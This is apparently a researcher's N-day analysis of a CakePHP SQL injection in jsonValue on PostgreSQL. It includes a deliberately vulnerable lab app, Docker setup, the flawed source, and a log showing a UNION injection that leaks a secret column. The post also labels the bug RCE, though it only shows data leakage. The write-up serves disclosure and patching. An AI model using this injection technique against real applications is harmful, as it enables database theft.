CVE-2026-77635: CakePHP, unauthenticated RCE
CakePHP FunctionsBuilder::jsonValue on PostgresDriver interpolates $jsonPath into JSONB_PATH_QUERY. quoteIdentifier is not a bind. The lab passes GET path into jsonValue. Not WordPress. Fixed in 5.2.15.
- Name
- CVE-2026-77635: CakePHP, unauthenticated RCE
- Type
- N-day analysis
- CVE
- CVE-2026-77635
- CVE Risk
- critical
- Disclosure Status
- public
- Vendor
- CakePHP
- Affected
- cakephp/cakephp and cakephp/database 5.1.x before 5.1.10, 5.2.x before 5.2.15, 5.3.x before 5.3.7; lab on 5.2.13 with PostgreSQL
- Published
- 19 Sept 2026
- Updated
- 19 Sept 2026
- Tags
- n-day, cakephp, sql-injection, cwe-89, postgresql, unauthenticated, rce
JSON_VALUE is not bound
I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-77635 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, lab-www/index.php, lab-www/composer.json. Authorized lab only. It talks to loopback.
CVE-2026-77635 (NVD, GHSA-fxf7-vhh8-7vpq) is SQL injection in CakePHP FunctionsBuilder::jsonValue when the driver is PostgreSQL. Lab is 5.2.13. CWE-89. GHSA 9.2. This is not a WordPress plugin. It is a sibling of CVE-2026-79752 (cast / extract / dateAdd). This one is jsonValue and it needs Postgres. Fixed in 5.2.15, 5.1.10, 5.3.7.
The advisory names $jsonPath. HTTP is GET /?path= on the lab app. PostgresDriver rewrites JSON_VALUE to JSONB_PATH_QUERY and puts the path through quoteIdentifier. That is not a bound parameter. You can close the jsonpath literal and UNION. The lab leaks notes.secret. SQLi at the DB user's privileges is RCE when that user can write files. I am not publishing a destructive payload.
This is the map I used to get from JSONB_PATH_QUERY(body::jsonb, '$.missing'::jsonpath) to a JSON array that contained POCWitness77635. Isolated lab, loopback only. The stack is in the CVE repo so you can run it at home. The client is the repo above.
What an attacker can do
An application that takes the json path from the request lets the caller close the jsonpath and UNION secret. An application that hard-codes '$.x' is fine. This is CakePHP putting a caller-supplied path into SQL, not "Postgres jsonpath is unsafe."
The lab (run this at home)
Source of truth is lab/ on GitHub. Dockerfile is php:8.2-apache plus pdo_pgsql and composer:2. Compose adds postgres:16-alpine. cakephp/database 5.2.13. Port on loopback only.
FROM php:8.2-apache
RUN apt-get update && apt-get install -y --no-install-recommends libpq-dev git unzip \
&& docker-php-ext-install pdo_pgsql pgsql \
&& rm -rf /var/lib/apt/lists/*
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer
WORKDIR /var/www/html
COPY lab-www/composer.json /var/www/html/composer.json
RUN composer install --no-dev --no-interaction --no-progress --no-security-blocking
COPY lab-www/index.php /var/www/html/index.php
RUN chown -R www-data:www-data /var/www/htmlservices:
db:
image: postgres:16-alpine
environment:
POSTGRES_USER: lab
POSTGRES_PASSWORD: lab
POSTGRES_DB: lab
healthcheck:
test: ["CMD-SHELL", "pg_isready -U lab -d lab"]
interval: 2s
timeout: 3s
retries: 20
web:
build: .
ports:
- "127.0.0.1:8088:80"
environment:
DB_HOST: db
DB_USER: lab
DB_PASS: lab
DB_NAME: lab
volumes:
- ./lab-www/index.php:/var/www/html/index.php:ro
depends_on:
db:
condition: service_healthy{
"name": "lab/cve-2026-77635",
"require": {
"php": ">=8.1",
"cakephp/database": "5.2.13"
},
"config": {
"platform": { "php": "8.2.0" },
"audit": { "abandoned": "ignore", "block-insecure": false }
}
}The lab app creates notes(body JSONB, secret TEXT) with secret = POCWitness77635 and passes $_GET['path'] into jsonValue().
<?php
/**
* Lab app for CVE-2026-77635. Passes untrusted jsonPath into jsonValue() on Postgres.
*/
declare(strict_types=1);
require __DIR__ . '/vendor/autoload.php';
use Cake\Database\Connection;
use Cake\Database\Driver\Postgres;
header('Content-Type: text/plain; charset=utf-8');
$host = getenv('DB_HOST') ?: 'db';
$driver = new Postgres([
'host' => $host,
'username' => getenv('DB_USER') ?: 'lab',
'password' => getenv('DB_PASS') ?: 'lab',
'database' => getenv('DB_NAME') ?: 'lab',
]);
$conn = new Connection(['driver' => $driver]);
$conn->execute('CREATE TABLE IF NOT EXISTS notes (id INTEGER PRIMARY KEY, body JSONB, secret TEXT)');
$conn->execute("INSERT INTO notes (id, body, secret) VALUES (1, '{\"x\":1}', 'POCWitness77635') ON CONFLICT (id) DO NOTHING");
$path = isset($_GET['path']) ? (string) $_GET['path'] : '$.missing';
try {
$q = $conn->selectQuery();
$q = $q->select(['v' => $q->func()->jsonValue('body', $path)])->from('notes');
echo 'sql=' . $q->sql() . "\n";
$rows = $q->execute()->fetchAll('assoc');
echo json_encode($rows, JSON_UNESCAPED_SLASHES) . "\n";
} catch (Throwable $e) {
http_response_code(500);
echo $e->getMessage() . "\n";
}Bring-up from the CVE repo lab/:
git clone https://github.com/abraxas/CVE-2026-77635
cd CVE-2026-77635/lab
docker compose up --build -d --force-recreate
python3 ../CVE-2026-77635-Abraxas-Labs.pyPostgres has to be up (pg_isready). Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.
What the tree actually registers
jsonValue in 5.2.13:
public function jsonValue(
ExpressionInterface|string $expression,
string $jsonPath,
array $types = [],
): FunctionExpression {
$params = $this->toLiteralParam($expression) + [$jsonPath];
return new FunctionExpression('JSON_VALUE', $params, $types);
}The field can be an identifier. The path is a bare string in the param list. Postgres::_transformFunctionExpression then:
case 'JSON_VALUE':
$expression->setName('JSONB_PATH_QUERY')
->iterateParts(function ($p, $key) {
if ($key === 0) {
$p = sprintf('%s::jsonb', $p);
} elseif ($key === 1) {
$p = sprintf("'%s'::jsonpath", $this->quoteIdentifier($p['value']));
}
return $p;
});quoteIdentifier is for SQL identifiers. A jsonpath that contains ' still leaves the query. The lab GET closes the jsonpath, UNIONs to_jsonb(secret), and comments out the rest. Sqlite was CVE-2026-79752. This one needs Postgres or you get a driver that does not take this transform.
5.2.15 binds or validates the path. That is the patch. Update. Workaround from the GHSA: do not pass user-controlled data into $jsonPath.
The 200 that was $.missing
The first client I pointed at this was polite. It hit / with no path. You get JSONB_PATH_QUERY(body::jsonb, '$.missing'::jsonpath) and []. That is a miss on the JSON, not a miss on the sink. Connection refused is Postgres not ready.
A few other ways to lose without learning anything:
- No
sql=injection fragment. The path never left the builder. - Witness string only in the PHP source. The row has to come back through the query.
- SQLite image. This transform is Postgres.
- A reverse shell. Theatre. The witness is
POCWitness77635in the JSON and the injected fragment insql=.
The tell is small plaintext: a sql= line that is no longer a single jsonpath, then JSON that contains the unique string.
What I actually did
Treat the on-disk product as the spec. The GHSA named jsonValue on PostgresDriver. I read the transform, then built a lab that passes GET into it. Proof of concept: CVE-2026-77635-Abraxas-Labs.py.
Default, then inject. GET /. Confirm $.missing and empty rows. GET /?path= with a path that closes the jsonpath and UNIONs secret. Both the SQL dump and the JSON must show the fragment and the witness.
Last lab run, trimmed:
default status=200
sql=SELECT (JSONB_PATH_QUERY(body::jsonb, '$.missing'::jsonpath)) AS "v" FROM notes
[]
inject status=200
sql=SELECT (JSONB_PATH_QUERY(body::jsonb, '$.x')) FROM notes UNION SELECT to_jsonb(secret) FROM notes --'::jsonpath)) AS "v" FROM notes
POCWitness77635
SUCCESS CVE-2026-77635The client that produced it is on GitHub.
Wrong turns: SQLite image (this transform is Postgres); witness string only in PHP source; no sql= fragment because the path never left the builder.
What this is not
It is not WordPress. It is not "Postgres jsonpath is unsafe." It is CakePHP putting a caller-supplied path into JSONB_PATH_QUERY as SQL. An application that hard-codes '$.x' is fine. An application that takes the path from the request is not.
Update to 5.2.15 (or 5.1.10 / 5.3.7). Re-run the loopback client against the patched build: the injected fragment must not appear in sql=.
I am not going to print a payload that writes files through Postgres. The unescaped $jsonPath is the useful part. If you own the box, run the proof of concept against loopback.
Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like CakePHP was fine.
References
- Proof of concept: abraxas/CVE-2026-77635 · CVE-2026-77635-Abraxas-Labs.py
- Lab:
lab/· Dockerfile · docker-compose.yml · index.php · composer.json - @abraxas_null · github.com/abraxas · abraxaslabs.tech · abraxas.null@proton.me
- CVE-2026-77635 · NVD · GHSA-fxf7-vhh8-7vpq · CWE-89
- Related: CVE-2026-79752 (
cast/extract/dateAdd) - 5.2.13:
jsonValue,Postgres JSON_VALUE - Fixes: 5.2.15 · 5.1.10 · 5.3.7